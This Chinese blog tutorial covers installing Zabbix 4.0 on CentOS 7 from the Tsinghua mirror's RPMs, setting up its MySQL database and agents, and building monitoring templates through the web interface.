「深度学习福利」大神带你进阶工程师,立即查看>>>
来源: https://blog.csdn.net/Powerful_Fy
zabbix官网:www.zabbix.com
由于zabbix官网的yum源配置好后,yum安装zabbix一直下载报错
Error downloading packages: zabbix-server-mysql-4.0.14-1.el7.x86_64: [Errno 256] No more mirrors to try. zabbix-web-4.0.14-1.el7.noarch: [Errno 256] No more mirrors to try. zabbix-agent-4.0.14-1.el7.x86_64: [Errno 256] No more mirrors to try.
所以配置清华大学的yum源,使用清华开源镜像站的rpm包安装zabbix
下载zabbix-server-mysql: wget https://mirrors.tuna.tsinghua.edu.cn/zabbix/zabbix/4.0/rhel/7/x86_64/zabbix-server-mysql-4.0.14-1.el7.x86_64.rpm
下载zabbix-web: wget https://mirrors.tuna.tsinghua.edu.cn/zabbix/zabbix/4.0/rhel/7/x86_64/zabbix-web-4.0.14-1.el7.noarch.rpm
下载zabbix-web-mysql: wget https://mirrors.tuna.tsinghua.edu.cn/zabbix/zabbix/4.0/rhel/7/x86_64/zabbix-web-mysql-4.0.14-1.el7.noarch.rpm
下载zabbix-agent: wget https://mirrors.tuna.tsinghua.edu.cn/zabbix/zabbix/4.0/rhel/7/x86_64/zabbix-agent-4.0.14-1.el7.x86_64.rpm
下载zabbix-get: wget https://mirrors.tuna.tsinghua.edu.cn/zabbix/zabbix/4.0/rhel/7/x86_64/zabbix-get-4.0.14-1.el7.x86_64.rpm
安装zabbix:
注意顺序,使用yum localinstall会自动安装本地rpm包所需的依赖包
安装zabbix-server-mysql: yum -y localinstall zabbix-server-mysql-4.0.14-1.el7.x86_64.rpm
#如果报错iksemel xxxx 安装iksemel:yum -y install iksemel
安装zabbix-web: yum -y localinstall zabbix-web-4.0.14-1.el7.noarch.rpm
安装zabbix-web-mysql: yum -y localinstall zabbix-web-mysql-4.0.14-1.el7.noarch.rpm
安装zabbix-agent: yum -y localinstall zabbix-agent-4.0.14-1.el7.x86_64.rpm
安装zabbix-get: yum -y localinstall zabbix-get-4.0.14-1.el7.x86_64.rpm
解压sql脚本: gzip -d /usr/share/doc/zabbix-server-mysql-4.0.14/create.sql.gz
创建zabbix库: create database zabbix;
创建zabbix数据库用户: grant all on zabbix.* to zabbix@'127.0.0.1' identified by 'zabbix123';
执行zabbix脚本: source /usr/share/doc/zabbix-server-mysql-4.0.14/create.sql
编辑zabbix-server配置文件: vi /etc/zabbix/zabbix_server.conf
修改DBhost为127.0.0.1:
#默认为localhost,但授权数据库用户时,定义的host为127.0.0.1
定义DBpassword:
编辑/etc/php.ini定义时区:
启动server、agent、Apache服务: systemctl start zabbix-server zabbix-agent httpd
#安装zabbix会自动安装Apache
在浏览器访问 ip/zabbix 即可进入web配置页面:
配置数据库信息:
配置server信息:
#配置好之后点击next step、finish即可
登录zabbix监控web页(默认用户admin密码zabbix):
zabbix安装完成:
添加监控主机
在zabbix配置好服务端后,把要监控的机器添加到监控中
安装官网的yum源: rpm -Uvh https://repo.zabbix.com/zabbix/4.0/rhel/7/x86_64/zabbix-release-4.0-2.el7.noarch.rpm
安装zabbix-agent: yum -y install zabbix-agent
#被监控的机器只需要安装zabbix-agent包即可
修改配置文件: vi /etc/zabbix/zabbix_agentd.conf
修改Server和ServerActive配置项的地址为zabbix服务端IP即可
启动zabbix-agent服务: systemctl start zabbix-agent
查看监听端口: [root@centos ~]# netstat -lntp |grep 10050 tcp 0 0 0.0.0.0:10050 0.0.0.0:* LISTEN 9966/zabbix_agentd tcp6 0 0 :::10050 :::* LISTEN 9966/zabbix_agentd
#10050端口已被监听,服务端zabbix监听端口为10051
进入zabbix前端管理页面添加主机:
定义主机名,IP地址,选择群组:
配置监控模板
添加好监控主机后,需要配置应用集、监控项、触发器、图形、自动发现,可以使用zabbix自带的监控模板(所有的自带模板存放于templates群组中),也可以自定义(应用集中包含监控项,监控项关联触发器、图形、自动发现等配置)
自定义监控模板:
1.创建自定义模板
点击配置→模板→创建模板
定义模板名称以及所属群组添加自定义模板:
#接下来就可以去别的模板里去复制每个应用集对应的监控项、触发器、图形等配置到自定义模板
2.克隆现有模板
已Template OS Linux模板为例,克隆一个新的自定义模板
点击全克隆:
定义好新模板名称与群组后点击添加即可:
克隆完后即可显示在模板界面:
取消并清理链接的模板:
此时即可删除不需要的应用集,监控项,触发器,图形等(当监控项关联触发器时,需要先删除触发器)
定义好的模板要应用在被监控的主机上可以将模板加入被监控主机的群组,也可针对单台主机链接模板使用
点击配置→主机→点击需要应用该模板的主机名称
点击模板→选择要使用的模板→点击添加后即可:
添加完模板后主机页面该主机的应用集、监控项、触发器等列就会显示相应的数值
#可用性ZBX为绿色表示可以正常监控,为红色表示有问题(IP错误或防火墙原因等)
点击监测→最新数据→选择主机后即可查看每个应用集中的监控项监控的值:
点击监测→图形→选择主机→选择图形项以及时间区间
即可查看对应的监控图:
系统运维
2019-11-13 22:36:00